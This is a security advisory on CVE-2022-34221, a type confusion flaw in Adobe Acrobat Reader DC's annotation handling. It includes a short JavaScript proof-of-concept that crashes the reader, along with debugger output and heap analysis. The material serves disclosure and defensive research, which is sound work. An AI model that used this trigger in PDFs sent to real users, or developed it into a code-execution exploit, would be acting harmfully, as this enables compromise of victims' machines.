CVE-2022-34221
A type confusion vulnerability exists in the way Adobe Acrobat Reader DC 2022.001.20085 deals with overlapping annotations. A specially-crafted PDF document can trigger this vulnerability, which can lead to arbitrary code execution. A victim needs to open the malicious file to trigger this vulnerability.
Adobe Acrobat Reader 2022.001.20085
Acrobat Reader - https://acrobat.adobe.com/us/en/acrobat/pdf-reader.html
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-843 - Access of Resource Using Incompatible Type (‘Type Confusion’)
Adobe Acrobat Reader is one of the most popular and feature-rich PDF readers on the market. It has a large user base and is usually a default PDF reader on systems. It also integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially-crafted email attachment can be enough to trigger this vulnerability.
Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and provides additional attack surface. Javascript allows manipulation of form fields, annotations and other page content in a PDF document.
During annotation manipulation, garbage collection in Acrobat’s JavaScript engine can be triggered. There exists a special set of circumstances in which an object allocated elsewhere gets dereferenced in part of the garbage collection code of Spidermonkey. The following excerpt from the attached PoC can illustrate the issue:
var tmp = this.addAnnot({page: 1, type: "Highlight", point: [19,17,13,18]});
this.addAnnot({page: 1, type: "Redact", point: [2,1,20,3],overlayText: "aaaa"});
this["annotFilter"] = this.getAnnots()[1];
this["annotFilter"] = this.getAnnots()[0];
this.addAnnot({page:1, type: "Redact", point: [22,12,202,32],overlayText : this});
In the above code, two annotations are created and placed on page 1. Both are then assigned to the “annotFilter” undocumented property of the Document object. Finally, another annotation is added to page 1 with coordinates overlapping the first one, but with the same type.
Executing this code results in the following crash:
(2958.eb0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=d55e0fb8 ebx=e46c0ff0 ecx=b4912fb8 edx=00001000 esi=00000000 edi=00000000
eip=63fe1d11 esp=006fcda8 ebp=006fcdc8 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210286
EScript!mozilla::HashBytes+0x2ff41:
63fe1d11 39b874090000 cmp dword ptr [eax+974h],edi ds:002b:d55e192c=????????
0:000> ?edi
Evaluate expression: 0 = 00000000
0:000> !heap -p -a eax
ReadMemory error for address 00000000
Use `!address 00000000' to check validity of the address.
0:000> dd eax
d55e0fb8 b4912fb8 5a09efb8 c98eefb8 c0c00101
d55e0fc8 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
d55e0fd8 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
d55e0fe8 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
d55e0ff8 c0c0c0c0 c0c0c0c0 ???????? ????????
d55e1008 ???????? ???????? ???????? ????????
d55e1018 ???????? ???????? ???????? ????????
d55e1028 ???????? ???????? ???????? ????????
Crash occurs on a cmp
instruction, which is fairly benign. Taking a closer look at dereferenced memory, we can observe that eax
points to a buffer of size 0x48 at end of the page (PageHeap was enabled for this process), while the object being dereferenced is expected to have valid data at offset 0x974. This signifies a potential type confusion, where the JavaScript engine was expecting a type/structure that is at least 0x974 bytes in size. Looking up previous visits to the same code reveals the following about the data:
Breakpoint 1 hit
eax=410c6fd0 ebx=ac7e2fb8 ecx=41116f58 edx=00001000 esi=00000000 edi=00000000
eip=63fe1d11 esp=006fdfac ebp=006fdfcc iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
EScript!mozilla::HashBytes+0x2ff41:
63fe1d11 39b874090000 cmp dword ptr [eax+974h],edi ds:002b:410c7944=00000000
0:000> bl
1 e Disable Clear 63fe1d11 0001 (1000) 0:**** EScript!mozilla::HashBytes+0x2ff41
0:000> dd eax
410c6fd0 c0c0c000 006c0001 410c6fd0 00000000
410c6fe0 00000000 00000000 006fea88 00000000
410c6ff0 00000000 00000000 3b366e38 00000000
410c7000 41b1cff0 00000003 00000004 c0c0c0c0
410c7010 35caed50 c0c0c0c0 00000003 00000000
410c7020 00000000 00000000 4159a000 4159a000
410c7030 4159a000 00000000 00001000 00001000
410c7040 00034000 00000000 00000000 00000000
0:000> !heap -p -a eax
address 410c6fd0 found in
_DPH_HEAP_ROOT @ 7c1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
40fb2784: 410c6fd0 9030 - 410c6000 b000
6927abb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
771f245b ntdll!RtlDebugAllocateHeap+0x00000039
77156dd9 ntdll!RtlpAllocateHeap+0x000000f9
77155ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
77155d3e ntdll!RtlAllocateHeap+0x0000003e
76411406 ucrtbase!_malloc_base+0x00000026
63fa940d EScript!PlugInMain+0x0000782d
63fa932d EScript!PlugInMain+0x0000774d
63fa90d4 EScript!PlugInMain+0x000074f4
63fa3ae6 EScript!PlugInMain+0x00001f06
64001b2d EScript!mozilla::HashBytes+0x0004fd5d
64076e72 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0006ea92
67909a07 AcroRd32_66ee0000!AIDE::PixelPartInfo::operator=+0x0015a347
677dbec0 AcroRd32_66ee0000!AIDE::PixelPartInfo::operator=+0x0002c800
677d7313 AcroRd32_66ee0000!AIDE::PixelPartInfo::operator=+0x00027c53
67517af7 AcroRd32_66ee0000!ixVectorNextHit+0x0016b757
6751806a AcroRd32_66ee0000!ixVectorNextHit+0x0016bcca
677dbb3c AcroRd32_66ee0000!AIDE::PixelPartInfo::operator=+0x0002c47c
670c6b68 AcroRd32_66ee0000!DllCanUnloadNow+0x0013e728
670c6af3 AcroRd32_66ee0000!DllCanUnloadNow+0x0013e6b3
670af297 AcroRd32_66ee0000!DllCanUnloadNow+0x00126e57
66fe96ce AcroRd32_66ee0000!DllCanUnloadNow+0x0006128e
66fe8af8 AcroRd32_66ee0000!DllCanUnloadNow+0x000606b8
66fd58f0 AcroRd32_66ee0000!DllCanUnloadNow+0x0004d4b0
66fd4d37 AcroRd32_66ee0000!DllCanUnloadNow+0x0004c8f7
66fd47e0 AcroRd32_66ee0000!DllCanUnloadNow+0x0004c3a0
66fcfff3 AcroRd32_66ee0000!DllCanUnloadNow+0x00047bb3
66fcdd11 AcroRd32_66ee0000!DllCanUnloadNow+0x000458d1
66fcd3d6 AcroRd32_66ee0000!DllCanUnloadNow+0x00044f96
66f4217f AcroRd32_66ee0000!AcroWinMainSandbox+0x00006a7f
66f3bdc1 AcroRd32_66ee0000!AcroWinMainSandbox+0x000006c1
66f3b88f AcroRd32_66ee0000!AcroWinMainSandbox+0x0000018f
Breaking on the same code, prior to triggering the crash, we can see that during a normal call to this function the memory chunk pointed to by eax
is 0xb000 in size, or 44kb. In this and all other cases, dereferencing offset 0x974 is well within the allocated memory. Additionally, from PageHeap output, we can conclude that this chunk of memory was allocated by the JavaScript engine, while the underlying object at the time of the crash comes from the Annotations.api
extension.
This constitutes type confusion vulnerability, which in this particular case manifests as out of bounds read. With a specifically-crafted memory layout, further memory corruption can be triggered, which could ultimately be abused to cause arbitrary code execution.
2022-04-27 - Vendor Disclosure
2022-07-13 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.